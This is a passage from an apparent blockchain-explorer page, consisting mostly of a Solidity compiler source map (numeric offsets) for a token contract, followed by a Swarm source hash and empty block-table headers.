9;;5692:16;;5629:87;:::o;5036:28::-;;;;:::o;6639:215::-;6727:4;6744:80;6753:12;:10;:12::i;:::-;6767:7;6813:10;6776:11;:25;6788:12;:10;:12::i;:::-;6776:25;;;;;;;;;;;;;;;:34;6802:7;6776:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;6744:8;:80::i;:::-;6842:4;6835:11;;6639:215;;;;:::o;4903:60::-;;;;:::o;5830:119::-;5896:7;5923:9;:18;5933:7;5923:18;;;;;;;;;;;;;;;;5916:25;;5830:119;;;:::o;3892:148::-;3817:12;:10;:12::i;:::-;3806:23;;:7;:5;:7::i;:::-;:23;;;3798:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3999:1:::1;3962:40;;3983:6;::::0;::::1;;;;;;;;3962:40;;;;;;;;;;;;4030:1;4013:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3892:148::o:0;4970:59::-;;;;:::o;3673:87::-;3719:7;3746:6;;;;;;;;;;;3739:13;;3673:87;:::o;5534:89::-;5575:13;5608:7;5601:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5534:89;:::o;8646:175::-;8732:4;8749:42;8759:12;:10;:12::i;:::-;8773:9;8784:6;8749:9;:42::i;:::-;8809:4;8802:11;;8646:175;;;;:::o;5071:23::-;;;;:::o;8072:566::-;8146:17;;8138:6;:25;:61;;;;;8167:18;:32;8186:12;:10;:12::i;:::-;8167:32;;;;;;;;;;;;;;;;;;;;;;;;;8138:61;8135:496;;;8244:6;8216:9;:24;8234:4;8216:24;;;;;;;;;;;;;;;;:34;;;;;;;:::i;:::-;;;;;;;;8265:49;8282:4;8297:7;;;;;;;;;;;8307:6;8265:8;:49::i;:::-;8329:21;8367:1;8353:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8329:40;;8402:4;8384;8389:1;8384:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;8432:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8422:4;8427:1;8422:7;;;;;;;;:::i;:::-;;;;;;;:24;;;;;;;;;;;8470:4;8461:6;;:13;;;;;;;;;;;;;;;;;;8489:7;;;;;;;;;;;:58;;;8548:6;8556:1;8559:4;8565:2;8587;8569:15;:20;;;;:::i;:::-;8489:101;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8614:5;8605:6;;:14;;;;;;;;;;;;;;;;;;8201:430;8135:496;8072:566;;:::o;6482:151::-;6571:7;6598:11;:18;6610:5;6598:18;;;;;;;;;;;;;;;:27;6617:7;6598:27;;;;;;;;;;;;;;;;6591:34;;6482:151;;;;:::o;3166:98::-;3219:7;3246:10;3239:17;;3166:98;:::o;6130:346::-;6249:1;6232:19;;:5;:19;;;;6224:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6331:1;6312:21;;:7;:21;;;;6304:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6414:6;6384:11;:18;6396:5;6384:18;;;;;;;;;;;;;;;:27;6403:7;6384:27;;;;;;;;;;;;;;;:36;;;;6452:7;6436:32;;6445:5;6436:32;;;6461:6;6436:32;;;;;;:::i;:::-;;;;;;;;6130:346;;;:::o;6862:1198::-;6986:1;6968:20;;:6;:20;;;;6960:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;7071:1;7050:23;;:9;:23;;;;7042:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;7125:17;7157:27;7201:6;:4;:6::i;:::-;7188:19;;:9;:19;;;:49;;;;;7211:18;:26;7230:6;7211:26;;;;;;;;;;;;;;;;;;;;;;;;;7188:49;7187:106;;;;7253:6;:4;:6::i;:::-;7243:16;;:6;:16;;;:49;;;;;7263:18;:29;7282:9;7263:29;;;;;;;;;;;;;;;;;;;;;;;;;7243:49;7187:106;7157:136;;7309:18;:26;7328:6;7309:26;;;;;;;;;;;;;;;;;;;;;;;;;7308:27;:61;;;;;7340:18;:29;7359:9;7340:29;;;;;;;;;;;;;;;;;;;;;;;;;7339:30;7308:61;:91;;;;;7394:4;7373:26;;:9;:26;;;;7308:91;:118;;;;;7404:22;7403:23;7308:118;:129;;;;;7431:6;;;;;;;;;;;7430:7;7308:129;7304:245;;;7466:25;7487:3;7466:16;7477:4;;7466:6;:10;;:16;;;;:::i;:::-;:20;;:25;;;;:::i;:::-;7454:37;;7524:12;;7514:6;:22;;7506:31;;;;;;7304:245;7567:6;;;;;;;;;;;7563:126;;;;;;7627:6;7606:9;:17;7616:6;7606:17;;;;;;;;;;;;;;;;:27;;7598:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7563:126;7699:22;7733:9;7724:6;:18;;;;:::i;:::-;7699:43;;7778:9;7753;:21;7771:1;7753:21;;;;;;;;;;;;;;;;:34;;;;;;;:::i;:::-;;;;;;;;7838:6;7818:9;:17;7828:6;7818:17;;;;;;;;;;;;;;;;:26;;;;:::i;:::-;7798:9;:17;7808:6;7798:17;;;;;;;;;;;;;;;:46;;;;7879:14;7855:9;:20;7865:9;7855:20;;;;;;;;;;;;;;;;:38;;;;;;;:::i;:::-;;;;;;;;7926:9;7909:43;;7918:6;7909:43;;;7937:14;7909:43;;;;;;:::i;:::-;;;;;;;;7979:1;7967:9;:13;7963:90;;;8027:1;8002:39;;8011:6;8002:39;;;8031:9;8002:39;;;;;;:::i;:::-;;;;;;;;7963:90;6949:1111;;;6862:1198;;;:::o;8832:148::-;8870:7;8915;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8897:44;;;8950:4;8957:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8897:75;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8890:82;;8832:148;:::o;1889:98::-;1947:7;1978:1;1974;:5;;;;:::i;:::-;1967:12;;1889:98;;;;:::o;1993:::-;2051:7;2082:1;2078;:5;;;;:::i;:::-;2071:12;;1993:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:329::-;3905:6;3954:2;3942:9;3933:7;3929:23;3925:32;3922:119;;;3960:79;;:::i;:::-;3922:119;4080:1;4105:53;4150:7;4141:6;4130:9;4126:22;4105:53;:::i;:::-;4095:63;;4051:117;3846:329;;;;:::o;4181:118::-;4268:24;4286:5;4268:24;:::i;:::-;4263:3;4256:37;4181:118;;:::o;4305:222::-;4398:4;4436:2;4425:9;4421:18;4413:26;;4449:71;4517:1;4506:9;4502:17;4493:6;4449:71;:::i;:::-;4305:222;;;;:::o;4533:474::-;4601:6;4609;4658:2;4646:9;4637:7;4633:23;4629:32;4626:119;;;4664:79;;:::i;:::-;4626:119;4784:1;4809:53;4854:7;4845:6;4834:9;4830:22;4809:53;:::i;:::-;4799:63;;4755:117;4911:2;4937:53;4982:7;4973:6;4962:9;4958:22;4937:53;:::i;:::-;4927:63;;4882:118;4533:474;;;;;:::o;5013:::-;5081:6;5089;5138:2;5126:9;5117:7;5113:23;5109:32;5106:119;;;5144:79;;:::i;:::-;5106:119;5264:1;5289:53;5334:7;5325:6;5314:9;5310:22;5289:53;:::i;:::-;5279:63;;5235:117;5391:2;5417:53;5462:7;5453:6;5442:9;5438:22;5417:53;:::i;:::-;5407:63;;5362:118;5013:474;;;;;:::o;5493:180::-;5541:77;5538:1;5531:88;5638:4;5635:1;5628:15;5662:4;5659:1;5652:15;5679:320;5723:6;5760:1;5754:4;5750:12;5740:22;;5807:1;5801:4;5797:12;5828:18;5818:81;;5884:4;5876:6;5872:17;5862:27;;5818:81;5946:2;5938:6;5935:14;5915:18;5912:38;5909:84;;;5965:18;;:::i;:::-;5909:84;5730:269;5679:320;;;:::o;6005:180::-;6053:77;6050:1;6043:88;6150:4;6147:1;6140:15;6174:4;6171:1;6164:15;6191:305;6231:3;6250:20;6268:1;6250:20;:::i;:::-;6245:25;;6284:20;6302:1;6284:20;:::i;:::-;6279:25;;6438:1;6370:66;6366:74;6363:1;6360:81;6357:107;;;6444:18;;:::i;:::-;6357:107;6488:1;6485;6481:9;6474:16;;6191:305;;;;:::o;6502:182::-;6642:34;6638:1;6630:6;6626:14;6619:58;6502:182;:::o;6690:366::-;6832:3;6853:67;6917:2;6912:3;6853:67;:::i;:::-;6846:74;;6929:93;7018:3;6929:93;:::i;:::-;7047:2;7042:3;7038:12;7031:19;;6690:366;;;:::o;7062:419::-;7228:4;7266:2;7255:9;7251:18;7243:26;;7315:9;7309:4;7305:20;7301:1;7290:9;7286:17;7279:47;7343:131;7469:4;7343:131;:::i;:::-;7335:139;;7062:419;;;:::o;7487:180::-;7535:77;7532:1;7525:88;7632:4;7629:1;7622:15;7656:4;7653:1;7646:15;7673:180;7721:77;7718:1;7711:88;7818:4;7815:1;7808:15;7842:4;7839:1;7832:15;7859:143;7916:5;7947:6;7941:13;7932:22;;7963:33;7990:5;7963:33;:::i;:::-;7859:143;;;;:::o;8008:351::-;8078:6;8127:2;8115:9;8106:7;8102:23;8098:32;8095:119;;;8133:79;;:::i;:::-;8095:119;8253:1;8278:64;8334:7;8325:6;8314:9;8310:22;8278:64;:::i;:::-;8268:74;;8224:128;8008:351;;;;:::o;8365:85::-;8410:7;8439:5;8428:16;;8365:85;;;:::o;8456:60::-;8484:3;8505:5;8498:12;;8456:60;;;:::o;8522:158::-;8580:9;8613:61;8631:42;8640:32;8666:5;8640:32;:::i;:::-;8631:42;:::i;:::-;8613:61;:::i;:::-;8600:74;;8522:158;;;:::o;8686:147::-;8781:45;8820:5;8781:45;:::i;:::-;8776:3;8769:58;8686:147;;:::o;8839:114::-;8906:6;8940:5;8934:12;8924:22;;8839:114;;;:::o;8959:184::-;9058:11;9092:6;9087:3;9080:19;9132:4;9127:3;9123:14;9108:29;;8959:184;;;;:::o;9149:132::-;9216:4;9239:3;9231:11;;9269:4;9264:3;9260:14;9252:22;;9149:132;;;:::o;9287:108::-;9364:24;9382:5;9364:24;:::i;:::-;9359:3;9352:37;9287:108;;:::o;9401:179::-;9470:10;9491:46;9533:3;9525:6;9491:46;:::i;:::-;9569:4;9564:3;9560:14;9546:28;;9401:179;;;;:::o;9586:113::-;9656:4;9688;9683:3;9679:14;9671:22;;9586:113;;;:::o;9735:732::-;9854:3;9883:54;9931:5;9883:54;:::i;:::-;9953:86;10032:6;10027:3;9953:86;:::i;:::-;9946:93;;10063:56;10113:5;10063:56;:::i;:::-;10142:7;10173:1;10158:284;10183:6;10180:1;10177:13;10158:284;;;10259:6;10253:13;10286:63;10345:3;10330:13;10286:63;:::i;:::-;10279:70;;10372:60;10425:6;10372:60;:::i;:::-;10362:70;;10218:224;10205:1;10202;10198:9;10193:14;;10158:284;;;10162:14;10458:3;10451:10;;9859:608;;;9735:732;;;;:::o;10473:831::-;10736:4;10774:3;10763:9;10759:19;10751:27;;10788:71;10856:1;10845:9;10841:17;10832:6;10788:71;:::i;:::-;10869:80;10945:2;10934:9;10930:18;10921:6;10869:80;:::i;:::-;10996:9;10990:4;10986:20;10981:2;10970:9;10966:18;10959:48;11024:108;11127:4;11118:6;11024:108;:::i;:::-;11016:116;;11142:72;11210:2;11199:9;11195:18;11186:6;11142:72;:::i;:::-;11224:73;11292:3;11281:9;11277:19;11268:6;11224:73;:::i;:::-;10473:831;;;;;;;;:::o;11310:224::-;11450:34;11446:1;11438:6;11434:14;11427:58;11519:7;11514:2;11506:6;11502:15;11495:32;11310:224;:::o;11540:366::-;11682:3;11703:67;11767:2;11762:3;11703:67;:::i;:::-;11696:74;;11779:93;11868:3;11779:93;:::i;:::-;11897:2;11892:3;11888:12;11881:19;;11540:366;;;:::o;11912:419::-;12078:4;12116:2;12105:9;12101:18;12093:26;;12165:9;12159:4;12155:20;12151:1;12140:9;12136:17;12129:47;12193:131;12319:4;12193:131;:::i;:::-;12185:139;;11912:419;;;:::o;12337:222::-;12477:34;12473:1;12465:6;12461:14;12454:58;12546:5;12541:2;12533:6;12529:15;12522:30;12337:222;:::o;12565:366::-;12707:3;12728:67;12792:2;12787:3;12728:67;:::i;:::-;12721:74;;12804:93;12893:3;12804:93;:::i;:::-;12922:2;12917:3;12913:12;12906:19;;12565:366;;;:::o;12937:419::-;13103:4;13141:2;13130:9;13126:18;13118:26;;13190:9;13184:4;13180:20;13176:1;13165:9;13161:17;13154:47;13218:131;13344:4;13218:131;:::i;:::-;13210:139;;12937:419;;;:::o;13362:225::-;13502:34;13498:1;13490:6;13486:14;13479:58;13571:8;13566:2;13558:6;13554:15;13547:33;13362:225;:::o;13593:366::-;13735:3;13756:67;13820:2;13815:3;13756:67;:::i;:::-;13749:74;;13832:93;13921:3;13832:93;:::i;:::-;13950:2;13945:3;13941:12;13934:19;;13593:366;;;:::o;13965:419::-;14131:4;14169:2;14158:9;14154:18;14146:26;;14218:9;14212:4;14208:20;14204:1;14193:9;14189:17;14182:47;14246:131;14372:4;14246:131;:::i;:::-;14238:139;;13965:419;;;:::o;14390:223::-;14530:34;14526:1;14518:6;14514:14;14507:58;14599:6;14594:2;14586:6;14582:15;14575:31;14390:223;:::o;14619:366::-;14761:3;14782:67;14846:2;14841:3;14782:67;:::i;:::-;14775:74;;14858:93;14947:3;14858:93;:::i;:::-;14976:2;14971:3;14967:12;14960:19;;14619:366;;;:::o;14991:419::-;15157:4;15195:2;15184:9;15180:18;15172:26;;15244:9;15238:4;15234:20;15230:1;15219:9;15215:17;15208:47;15272:131;15398:4;15272:131;:::i;:::-;15264:139;;14991:419;;;:::o;15416:226::-;15556:34;15552:1;15544:6;15540:14;15533:58;15625:9;15620:2;15612:6;15608:15;15601:34;15416:226;:::o;15648:366::-;15790:3;15811:67;15875:2;15870:3;15811:67;:::i;:::-;15804:74;;15887:93;15976:3;15887:93;:::i;:::-;16005:2;16000:3;15996:12;15989:19;;15648:366;;;:::o;16020:419::-;16186:4;16224:2;16213:9;16209:18;16201:26;;16273:9;16267:4;16263:20;16259:1;16248:9;16244:17;16237:47;16301:131;16427:4;16301:131;:::i;:::-;16293:139;;16020:419;;;:::o;16445:191::-;16485:4;16505:20;16523:1;16505:20;:::i;:::-;16500:25;;16539:20;16557:1;16539:20;:::i;:::-;16534:25;;16578:1;16575;16572:8;16569:34;;;16583:18;;:::i;:::-;16569:34;16628:1;16625;16621:9;16613:17;;16445:191;;;;:::o;16642:332::-;16763:4;16801:2;16790:9;16786:18;16778:26;;16814:71;16882:1;16871:9;16867:17;16858:6;16814:71;:::i;:::-;16895:72;16963:2;16952:9;16948:18;16939:6;16895:72;:::i;:::-;16642:332;;;;;:::o;16980:348::-;17020:7;17043:20;17061:1;17043:20;:::i;:::-;17038:25;;17077:20;17095:1;17077:20;:::i;:::-;17072:25;;17265:1;17197:66;17193:74;17190:1;17187:81;17182:1;17175:9;17168:17;17164:105;17161:131;;;17272:18;;:::i;:::-;17161:131;17320:1;17317;17313:9;17302:20;;16980:348;;;;:::o;17334:180::-;17382:77;17379:1;17372:88;17479:4;17476:1;17469:15;17503:4;17500:1;17493:15;17520:185;17560:1;17577:20;17595:1;17577:20;:::i;:::-;17572:25;;17611:20;17629:1;17611:20;:::i;:::-;17606:25;;17650:1;17640:35;;17655:18;;:::i;:::-;17640:35;17697:1;17694;17690:9;17685:14;;17520:185;;;;:::o

Swarm Source

ipfs://53835a86ba08347814dff453ad93d48c37be3ffb3f3b573468160b7842c7550a
Block Transaction Gas Used Reward
Age Block Fee Address BC Fee Address Voting Power Jailed Incoming
Block Uncle Number Difficulty Gas Used Reward
Loading
Loading
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.